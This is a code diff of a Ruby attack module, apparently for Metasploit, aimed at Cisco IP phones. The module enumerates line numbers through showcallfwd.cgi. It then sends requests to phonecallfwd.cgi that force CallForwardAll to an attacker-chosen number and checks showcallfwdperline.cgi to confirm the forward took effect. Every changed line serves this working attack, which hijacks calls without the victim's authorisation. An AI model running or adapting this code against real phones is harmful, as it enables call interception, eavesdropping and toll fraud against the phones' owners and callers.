@@ -46,24 +46,33 @@ def initialize(info={})
46
46
end
47
47
48
48
def run
49
+ case action . name . upcase
50
+ when 'INFO'
51
+ get_info
52
+ when 'FORWARD'
53
+ forward_calls
54
+ end
55
+ end
56
+
57
+ def get_info
49
58
uri = normalize_uri ( target_uri . to_s )
50
59
mac = datastore [ "MAC" ]
51
- forward_to = datastore [ "FORWARDTO" ]
52
60
53
61
print_status ( "#{ peer } - Getting fintnumbers and display names of the IP phone" )
54
62
55
63
res = send_request_cgi (
56
- {
57
- 'uri' => normalize_uri ( uri , 'showcallfwd.cgi' ) ,
58
- 'method' => 'GET' ,
59
- 'vars_get' => {
60
- 'device' => "SEP#{ mac } "
61
- }
62
- } )
64
+ {
65
+ 'uri' => normalize_uri ( uri , 'showcallfwd.cgi' ) ,
66
+ 'method' => 'GET' ,
67
+ 'vars_get' => {
68
+ 'device' => "SEP#{ mac } "
69
+ }
70
+ } )
63
71
64
72
unless res && res . code == 200 && res . body && res . body . to_s =~ /fintnumber/
65
73
print_error ( "#{ peer } - Target appears not vulnerable!" )
66
- return
74
+ print_status ( "#{ res } " )
75
+ return [ ]
67
76
end
68
77
69
78
doc = REXML ::Document . new ( res . body )
@@ -83,42 +92,57 @@ def run
83
92
print_status ( "#{ peer } - Display Name: #{ lines [ i ] } , Fintnumber: #{ fint_numbers [ i ] } " )
84
93
end
85
94
95
+ fint_numbers
96
+ end
97
+
98
+ def forward_calls
86
99
# for a specific FINTNUMBER redirection
87
- fint_numbers = [ datastore [ 'FINTNUMBER' ] ] if datastore [ 'FINTNUMBER' ]
100
+ uri = normalize_uri ( target_uri . to_s )
101
+ forward_to = datastore [ "FORWARDTO" ]
102
+ mac = datastore [ "MAC" ]
103
+
104
+ if datastore [ 'FINTNUMBER' ]
105
+ fint_numbers = [ datastore [ 'FINTNUMBER' ] ]
106
+ else
107
+ fint_numbers = get_info
108
+ end
109
+
110
+ if fint_numbers . empty?
111
+ print_error ( "#{ peer } - FINTNUMBER required to forward calls" )
112
+ return
113
+ end
88
114
89
- if action . name . upcase == "FORWARD"
90
- fint_numbers . each do |fintnumber |
115
+ fint_numbers . each do |fintnumber |
91
116
92
- print_status ( "#{ peer } - Sending call forward request for #{ fintnumber } " )
117
+ print_status ( "#{ peer } - Sending call forward request for #{ fintnumber } " )
93
118
94
- send_request_cgi (
119
+ send_request_cgi (
95
120
{
96
- 'uri' => normalize_uri ( uri , 'phonecallfwd.cgi' ) ,
97
- 'method' => 'GET' ,
98
- 'vars_get' => {
99
- 'cfoption' => 'CallForwardAll' ,
100
- 'device' => "SEP#{ mac } " ,
101
- 'ProviderName' => 'NULL' ,
102
- 'fintnumber' => "#{ fintnumber } " ,
103
- 'telno1' => "#{ forward_to } "
104
- }
121
+ 'uri' => normalize_uri ( uri , 'phonecallfwd.cgi' ) ,
122
+ 'method' => 'GET' ,
123
+ 'vars_get' => {
124
+ 'cfoption' => 'CallForwardAll' ,
125
+ 'device' => "SEP#{ mac } " ,
126
+ 'ProviderName' => 'NULL' ,
127
+ 'fintnumber' => "#{ fintnumber } " ,
128
+ 'telno1' => "#{ forward_to } "
129
+ }
105
130
} )
106
131
107
- res = send_request_cgi (
132
+ res = send_request_cgi (
108
133
{
109
- 'uri' => normalize_uri ( uri , 'showcallfwdperline.cgi' ) ,
110
- 'method' => 'GET' ,
111
- 'vars_get' => {
112
- 'device' => "SEP#{ mac } " ,
113
- 'fintnumber' => "#{ fintnumber } "
114
- }
134
+ 'uri' => normalize_uri ( uri , 'showcallfwdperline.cgi' ) ,
135
+ 'method' => 'GET' ,
136
+ 'vars_get' => {
137
+ 'device' => "SEP#{ mac } " ,
138
+ 'fintnumber' => "#{ fintnumber } "
139
+ }
115
140
} )
116
141
117
- if res && res . body && res . body && res . body . to_s =~ /CFA/
118
- print_good ( "#{ peer } - Call forwarded successfully for #{ fintnumber } " )
119
- else
120
- print_status ( "#{ peer } - Call forward failed." )
121
- end
142
+ if res && res . body && res . body && res . body . to_s =~ /CFA/
143
+ print_good ( "#{ peer } - Call forwarded successfully for #{ fintnumber } " )
144
+ else
145
+ print_status ( "#{ peer } - Call forward failed." )
122
146
end
123
147
end
124
148
end
0 commit comments